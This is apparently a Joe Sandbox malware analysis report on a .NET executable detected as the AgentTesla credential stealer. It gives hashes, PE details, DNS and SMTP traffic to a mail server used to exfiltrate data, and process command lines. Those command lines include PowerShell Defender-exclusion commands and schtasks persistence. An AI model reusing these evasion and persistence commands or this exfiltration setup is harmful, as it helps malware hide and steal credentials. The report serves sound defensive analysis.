SSDEEP:	768:4BbSoy+SdIBf0k2dsjYg6Iq8S1GYqWH8BR:noOIBf0ddsjY/ZGyc7
MD5:	9D352BC46709F0CB5EC974633A0C3C94
SHA1:	1969771B2F022F9A86D77AC4D4D239BECDF08D07
SHA-256:	2C1EEB7097023C784C2BD040A2005A5070ED6F3A4ABF13929377A9E39FAB1390
SHA-512:	13C714244EC56BEEB202279E4109D59C2A43C3CF29F90A374A751C04FD472B45228CA5A0178F41109ED863DBD34E0879E4A21F5E38AE3D89559C57E6BE990A9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Quotation 1563050097.exe, Detection: malicious, Browse Filename: SOA 820527940511.cmd.exe, Detection: malicious, Browse Filename: UpdateAdobe.exe, Detection: malicious, Browse Filename: INV.3175001503.exe, Detection: malicious, Browse Filename: Statement of Accounts.exe, Detection: malicious, Browse Filename: Invoice-AWB-Document.exe, Detection: malicious, Browse Filename: Quotation 1563058092XXX.exe, Detection: malicious, Browse Filename: h5fwH8gisX.exe, Detection: malicious, Browse Filename: vJRoTmuNBS4S30j.exe, Detection: malicious, Browse Filename: DHL-102113XXX.pdf.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0..d..........V.... ........@.. ..............................s.....`.....................................O.......8............r...A.......................................................... ............... ..H............text...\c... ...d.................. ..`.rsrc...8............f..............@..@.reloc...............p..............@..B................8.......H........+...S..........\|...P...........................................r...p(....2.(....(....z..r...p(....(....(......}......{.....s..........0..{...........Q.-.s.....+i~....o....(.....s.......o.....r!..p..(....Q.P,:.P.....(....o....o ........(....o!...o".....,..o#...t........0..(....... ....s$........o%....X..(....-...o&....0...........('......&.........................0...........(.......&.....*.................0............(.....(....~....,.(....~....o....9]...

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.442398121585593
Encrypted:	false
SSDEEP:	24:zKLXkhDObntKlglUEnfQtvNuNpKOK5aM9YJC:zKL0hDQntKKH1MqJC
MD5:	6FB4D27A716A8851BC0505666E7C7A10
SHA1:	AD2A232C6E709223532C4D1AB892303273D8C814
SHA-256:	1DC36F296CE49BDF1D560B527DB06E1E9791C10263459A67EACE706C6DDCDEAE
SHA-512:	3192095C68C6B7AD94212B7BCA0563F2058BCE00C0C439B90F0E96EA2F029A37C2F2B69487591B494C1BA54697FE891E214582E392127CB8C90AB682E0D81ADB
Malicious:	false
Preview:	Microsoft (R) .NET Framework Services Installation Utility Version 4.8.4084.0..Copyright (C) Microsoft Corporation. All rights reserved.....USAGE: regsvcs.exe [options] AssemblyName..Options:.. /? or /help Display this usage message... /fc Find or create target application (default)... /c Create target application, error if it already exists... /exapp Expect an existing application... /tlb:<tlbfile> Filename for the exported type library... /appname:<name> Use the specified name for the target application... /parname:<name> Use the specified name or id for the target partition... /extlb Use an existing type library... /reconfig Reconfigure existing target application (default)... /noreconfig Don't reconfigure existing target application... /u Uninstall target application... /nologo Suppress logo output... /quiet Suppress logo output and success output... /c

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.652735134468148
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	oBMlky3Rkm7h5QK.exe
File size:	761'856 bytes
MD5:	596365c750c4f8e60a966e220e35e7d9
SHA1:	234b7114f19589e1768670361e2a4cd7328f8c75
SHA256:	e77c8ca31128a1a181b99a8234f39559854855d871d7abe167e004bb970e7f3c
SHA512:	5679cc3bca181e417de60f4f8c473a17445405eb32f0e37855111ba5f6b8a95cc22225628da8c0227078177342ad3f9a1b9c3b985e04aff086d0a7e626e20047
SSDEEP:	12288:akz4ayww0uLdzCeXEdFGpQCDsmIag2Sh7unpPcmg5I0i4DVlupWXAhT:UajazCe0dFoQQs55h7uVoG0dDVlup+
TLSH:	8EF41271239CAB25C4A907F50612E17257B59CC750B0D2D94DCA7CCB36B6FC08A26FAB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A.................0.............z.... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4bb47a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xE6CCA141 [Sat Sep 13 18:51:45 2092 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
inc ecx
add cl, al
add bl, al
add dl, al
add al, al
add ah, al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi+00h], cl
rol dword ptr [eax], cl
aad 00h
aam 00h
rol byte ptr [eax], cl
salc
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00h], cl
int 00h
into
add ah, cl
add bh, cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebp+00h], dl
fiadd dword ptr [eax]
fild dword ptr [eax]
fld dword ptr [eax]
fadd qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc ebp
add cl, cl
add dl, cl
add al, cl
add bl, cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbb425	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xbc000	0x5ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xbe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb9c98	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb94d0	0xb9600	5e86cb68c9977a6c1d0505e88c70371c	False	0.8773956401719487	data	7.660905612133851	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xbc000	0x5ac	0x600	7f9fe5fc1b071b5f24f0852731a074d5	False	0.4225260416666667	data	4.102677130099809	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xbe000	0xc	0x200	fefe2a1bebcb71ea80e421f2f0eacea1	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xbc090	0x31c	data			0.4371859296482412
RT_MANIFEST	0xbc3bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 15:02:01.279012918 CET	49702	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:01.279057026 CET	443	49702	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:01.279161930 CET	49702	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:01.363163948 CET	49702	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:01.363190889 CET	443	49702	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:01.569943905 CET	443	49702	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:01.570009947 CET	49702	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:01.574845076 CET	49702	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:01.574856997 CET	443	49702	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:01.575114965 CET	443	49702	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:01.621105909 CET	49702	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:01.715742111 CET	49702	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:01.756248951 CET	443	49702	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:01.899547100 CET	443	49702	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:01.899596930 CET	443	49702	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:01.899655104 CET	49702	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:01.930885077 CET	49702	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:03.753223896 CET	49705	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:04.058649063 CET	587	49705	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:04.058751106 CET	49705	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:04.888025999 CET	587	49705	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:04.888442993 CET	49705	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:05.187894106 CET	587	49705	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:05.212963104 CET	49705	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:05.512031078 CET	587	49705	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:05.512866020 CET	49705	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:05.855650902 CET	587	49705	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:06.057010889 CET	49706	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:06.057044983 CET	443	49706	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:06.057244062 CET	49706	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:06.066586971 CET	49706	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:06.066595078 CET	443	49706	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:06.258487940 CET	49705	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:06.264997005 CET	443	49706	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:06.265074015 CET	49706	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:06.266886950 CET	49706	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:06.266896009 CET	443	49706	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:06.267270088 CET	443	49706	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:06.308609962 CET	49706	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:06.326014996 CET	49706	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:06.372234106 CET	443	49706	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:06.590116024 CET	443	49706	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:06.590204000 CET	443	49706	104.26.12.205	192.168.2.6
Mar 29, 2024 15:02:06.590655088 CET	49706	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:06.599574089 CET	49706	443	192.168.2.6	104.26.12.205
Mar 29, 2024 15:02:07.143821001 CET	49707	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:07.448029041 CET	587	49707	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:07.448611975 CET	49707	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:07.766577005 CET	587	49707	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:07.767141104 CET	49707	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:08.066445112 CET	587	49707	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:08.066719055 CET	49707	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:08.404114962 CET	587	49707	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:12.367249012 CET	587	49707	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:12.367700100 CET	49707	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:12.673469067 CET	587	49707	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:14.515467882 CET	587	49707	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:14.558648109 CET	49707	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:14.604996920 CET	49707	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:14.910310030 CET	587	49707	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:14.911286116 CET	587	49707	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:14.913467884 CET	587	49707	23.226.124.127	192.168.2.6
Mar 29, 2024 15:02:14.913527966 CET	49707	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:15.317481041 CET	49707	587	192.168.2.6	23.226.124.127
Mar 29, 2024 15:02:15.627793074 CET	587	49707	23.226.124.127	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 15:02:01.153454065 CET	55513	53	192.168.2.6	1.1.1.1
Mar 29, 2024 15:02:01.249396086 CET	53	55513	1.1.1.1	192.168.2.6
Mar 29, 2024 15:02:02.835480928 CET	54264	53	192.168.2.6	1.1.1.1
Mar 29, 2024 15:02:03.740170002 CET	53	54264	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 29, 2024 15:02:01.153454065 CET	192.168.2.6	1.1.1.1	0xd01e	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 29, 2024 15:02:02.835480928 CET	192.168.2.6	1.1.1.1	0x1522	Standard query (0)	mail.pacificindia.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 29, 2024 15:02:01.249396086 CET	1.1.1.1	192.168.2.6	0xd01e	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 29, 2024 15:02:01.249396086 CET	1.1.1.1	192.168.2.6	0xd01e	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 29, 2024 15:02:01.249396086 CET	1.1.1.1	192.168.2.6	0xd01e	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 29, 2024 15:02:03.740170002 CET	1.1.1.1	192.168.2.6	0x1522	No error (0)	mail.pacificindia.com	23.226.124.127	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49702	104.26.12.205	443	1936	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-29 14:02:01 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-03-29 14:02:01 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 29 Mar 2024 14:02:01 GMT Content-Type: text/plain Content-Length: 13 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 86c065310d471fec-IAD
2024-03-29 14:02:01 UTC	13	IN	Data Raw: 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 Data Ascii: 102.165.48.43

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49706	104.26.12.205	443	3636	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-29 14:02:06 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-03-29 14:02:06 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 29 Mar 2024 14:02:06 GMT Content-Type: text/plain Content-Length: 13 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 86c0654e4dca5a28-IAD
2024-03-29 14:02:06 UTC	13	IN	Data Raw: 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 Data Ascii: 102.165.48.43

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Mar 29, 2024 15:02:04.888025999 CET	587	49705	23.226.124.127	192.168.2.6	220-server.spearhosting.co.in ESMTP Exim 4.96.2 #2 Fri, 29 Mar 2024 19:32:04 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 29, 2024 15:02:04.888442993 CET	49705	587	192.168.2.6	23.226.124.127	EHLO 066656
Mar 29, 2024 15:02:05.187894106 CET	587	49705	23.226.124.127	192.168.2.6	250-server.spearhosting.co.in Hello 066656 [102.165.48.43] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Mar 29, 2024 15:02:05.212963104 CET	49705	587	192.168.2.6	23.226.124.127	AUTH login aHJAcGFjaWZpY2luZGlhLmNvbQ==
Mar 29, 2024 15:02:05.512031078 CET	587	49705	23.226.124.127	192.168.2.6	334 UGFzc3dvcmQ6
Mar 29, 2024 15:02:07.766577005 CET	587	49707	23.226.124.127	192.168.2.6	220-server.spearhosting.co.in ESMTP Exim 4.96.2 #2 Fri, 29 Mar 2024 19:32:07 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 29, 2024 15:02:07.767141104 CET	49707	587	192.168.2.6	23.226.124.127	EHLO 066656
Mar 29, 2024 15:02:08.066445112 CET	587	49707	23.226.124.127	192.168.2.6	250-server.spearhosting.co.in Hello 066656 [102.165.48.43] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Mar 29, 2024 15:02:08.066719055 CET	49707	587	192.168.2.6	23.226.124.127	AUTH login aHJAcGFjaWZpY2luZGlhLmNvbQ==
Mar 29, 2024 15:02:12.367249012 CET	587	49707	23.226.124.127	192.168.2.6	334 UGFzc3dvcmQ6
Mar 29, 2024 15:02:14.515467882 CET	587	49707	23.226.124.127	192.168.2.6	535 Incorrect authentication data
Mar 29, 2024 15:02:14.604996920 CET	49707	587	192.168.2.6	23.226.124.127	MAIL FROM:<hr@pacificindia.com>
Mar 29, 2024 15:02:14.911286116 CET	587	49707	23.226.124.127	192.168.2.6	550 Access denied - Invalid HELO name (See RFC2821 4.1.1.1)

Target ID:	0
Start time:	15:01:57
Start date:	29/03/2024
Path:	C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe"
Imagebase:	0x810000
File size:	761'856 bytes
MD5 hash:	596365C750C4F8E60A966E220E35E7D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:01:59
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe"
Imagebase:	0xa40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:01:59
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:01:59
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe"
Imagebase:	0xa40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:01:59
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:01:59
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp"
Imagebase:	0x490000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:01:59
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:01:59
Start date:	29/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x10000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2133378984.0000000002571000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2133378984.0000000002571000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2133378984.000000000259C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:02:00
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe
Imagebase:	0xe10000
File size:	761'856 bytes
MD5 hash:	596365C750C4F8E60A966E220E35E7D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs Detection: 69%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:02:01
Start date:	29/03/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:02:04
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpF51D.tmp"
Imagebase:	0x490000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:02:04
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:02:04
Start date:	29/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
